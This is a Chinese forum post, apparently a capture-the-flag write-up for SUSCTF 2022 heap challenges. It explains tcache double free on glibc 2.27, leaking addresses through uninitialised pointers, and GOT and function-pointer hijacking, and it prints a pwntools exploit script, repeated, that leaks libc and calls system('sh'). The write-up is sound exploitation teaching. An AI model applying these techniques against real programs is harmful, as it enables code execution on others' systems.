-
-
[原创]【susctf2022】
-
发表于: 2022-4-28 16:01 8642
-
(1)glibc2.27-3无对tcache double free的检测即key指针
(2)未初始化指针利用:申请的chunk如果为初始化会保留bin中的fd,bk等指针,可以利用这些未初始化的值leak libc或者堆块地址。hgame里很多堆题都没有初始化指针,可以非预期泄露libc
(3)平衡二叉树:维护一颗二叉树,保证任何一个节点的左子树上的所有结点都比自己小,右子树上所有节点都比自己大
(4)c++:可以通过new和delet实现内存的分配,但内核还是malloc和free函数,而且用法和malloc以及free差别不大
glibc 2.27
-3版本不存在对tcache double free的检测
发现没开pie,考虑可以利用elf的got表或plt表
从menu里面可以看出主要有三个功能config、call rdx 、rain
修改v4,将v4[7]的位置放一个堆块并且对其进行修改
call v4[5]: 初始是一个打印v4内容的函数,后面可以劫持它
实现代码雨,和利用没啥大关系
config里面有一个realloc函数,可以实现free和malloc两种功能
首先在v4[7]位置申请一个和v4大小相同的堆块,double free它,rain过后再次申请就会使得v4和v4[7]的堆块地址相同。那么我们就可以利用后续修改v4[7]来实现修改v4
首先修改v4[6]的位置为任意函数的got并且将v4[7]置为0,这样就会打印got表来leak libc
然后修改v4为sh,v4[5]为system函数,这样在menu时选择2就会调用后门
为啥'/bin/sh\x00'不行要用‘sh’,因为这里的*v4其实是一个循环的次数:
如果太大会直接导致程序崩溃
glibc 2.27
由menu可以发现实现了三种功能,insert,delet和show。整体上看,这是用一个平衡二叉树来存储堆块地址。
发现树上的节点都是一个0x20(不包含size和pre_size位)大小的如下结构体:
note存储的是根节点的地址
这里的流程用到了递归
如果当前的size和要寻找的size一样,就进入大的条件判断
此时分三种情况:
(1)左右节点指针同时存在:找到比a2的size大的最小的size的节点删除
(2)左右节点存在一个:删除该节点并返回存在的节点指针
(3)左右节点都不存在:删除该节点返回0
”(1)“比较复杂,当时也想不出来有啥用,就和注释的一样。不太好可控,所以利用的时候构造的都是两条从根节点出发的单链,即左边一直放大,右边一直减小。
简单的打印con
把tcache填满后放一个chunk进入unsorted bin
先后申请0x20(节点同大小的chunk)和0x40(这里是为了切割unsorted chunk)的大小,利用指针未初始化leak libcbase和heapbase
然后思考可否double free,我们发现delet的是节点和con指针指向的chunk,通过伪造来实现free(con)应该不现实,因为insert会分配伪造的堆块的*con。那我们就只能考虑free一个伪造的节点,到达这个节点必然是通过前面节点的子节点指针。
这样利用思路就很明确了,申请一个0x20大小的堆块,content中将子节点指针中的一个置为我们想要free的堆块的地址。free掉进入tcache,那么下下次(这个0x20的堆块是作为*con,先被free,所以在tcache里它前面还有一个后free的节点指针)创造新的节点就会使用到这个伪造的chunk,再通过平衡树的机制找到它free了就好。
这部分可能有点抽象,自己画画图就好理解了
from
pwn
import
*
from
LibcSearcher
import
*
from
pwnlib.util.iters
import
mbruteforce
from
hashlib
import
sha256
import
base64
context.log_level
=
'debug'
context.arch
=
'amd64'
context.os
=
'linux'
def
proof_of_work(sh):
sh.recvuntil(
" == "
)
cipher
=
sh.recvline().strip().decode(
"utf8"
)
proof
=
mbruteforce(
lambda
x: sha256((x).encode()).hexdigest()
=
=
cipher, string.ascii_letters
+
string.digits, length
=
4
, method
=
'fixed'
)
sh.sendlineafter(
"input your ????>"
, proof)
r
=
process(
'./rain'
)
elf
=
ELF(
'./rain'
)
libc
=
ELF(
'./libc.so.6'
)
read
=
elf.got[
'read'
]
log.success(
'read:'
+
hex
(read))
def
z():
gdb.attach(r)
def
cho(name):
r.sendafter(
"ch> "
,
str
(name))
def
config(con):
cho(
1
)
r.sendafter(
"FRAME> "
,
'\x00'
*
18
+
con)
def
show():
cho(
2
)
def
rain():
cho(
3
)
#tcache double free
config(
'a'
*
0x20
)
config(
'a'
*
0x40
)
config('')
config('')
#leak_libc
rain()
pd
=
p64(
0
)
+
p64(
0x6161616161610102
)
+
p64(
0x620250
)
+
p64(
0x6204e0
)
+
p64(
0xc35000000064
)
+
p64(
0x400e17
)
+
p64(read)
+
p64(
0
)
config(pd)
show()
r.recvuntil(
'Table: '
)
libcbase
=
u64(r.recvuntil(
'\x7f'
).ljust(
8
,
'\x00'
))
-
libc.sym[
'read'
]
log.success(
'libcbase:'
+
hex
(libcbase))
system
=
libcbase
+
libc.sym[
'system'
]
config('')
config(
'sh\x00\x00'
+
'\x00'
*
4
+
p64(
0x0201
)
+
p64(
0x620250
)
+
p64(
0x6204e0
)
+
p64(
0x0000c35000000030
)
+
p64(system)
+
p64(read)
+
p64(
0
))
cho(
2
)
r.interactive()
from
pwn
import
*
from
LibcSearcher
import
*
from
pwnlib.util.iters
import
mbruteforce
from
hashlib
import
sha256
import
base64
context.log_level
=
'debug'
context.arch
=
'amd64'
context.os
=
'linux'
def
proof_of_work(sh):
sh.recvuntil(
" == "
)
cipher
=
sh.recvline().strip().decode(
"utf8"
)
proof
=
mbruteforce(
lambda
x: sha256((x).encode()).hexdigest()
=
=
cipher, string.ascii_letters
+
string.digits, length
=
4
, method
=
'fixed'
)
sh.sendlineafter(
"input your ????>"
, proof)
r
=
process(
'./rain'
)
elf
=
ELF(
'./rain'
)
libc
=
ELF(
'./libc.so.6'
)
read
=
elf.got[
'read'
]
log.success(
'read:'
+
hex
(read))
def
z():
gdb.attach(r)
def
cho(name):
r.sendafter(
"ch> "
,
str
(name))
def
config(con):
cho(
1
)
r.sendafter(
"FRAME> "
,
'\x00'
*
18
+
con)
def
show():
cho(
2
)
def
rain():
cho(
3
)
#tcache double free
config(
'a'
*
0x20
)
config(
'a'
*
0x40
)
config('')
config('')
#leak_libc
rain()
pd
=
p64(
0
)
+
p64(
0x6161616161610102
)
+
p64(
0x620250
)
+
p64(
0x6204e0
)
+
p64(
0xc35000000064
)
+
p64(
0x400e17
)
+
p64(read)
+
p64(
0
)
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
- 西湖论剑2024 IOT赛后复盘及mqtt rce详解 13831
- 对某嵌入式设备声波配网的研究 11920
- DAS10月月赛PWN出题心路&&CVE-2023-40930的介绍 11355
- [原创]关于Nokelock蓝牙锁破解分析 21864
- [原创]基于树莓派的蓝牙调试环境搭建 24487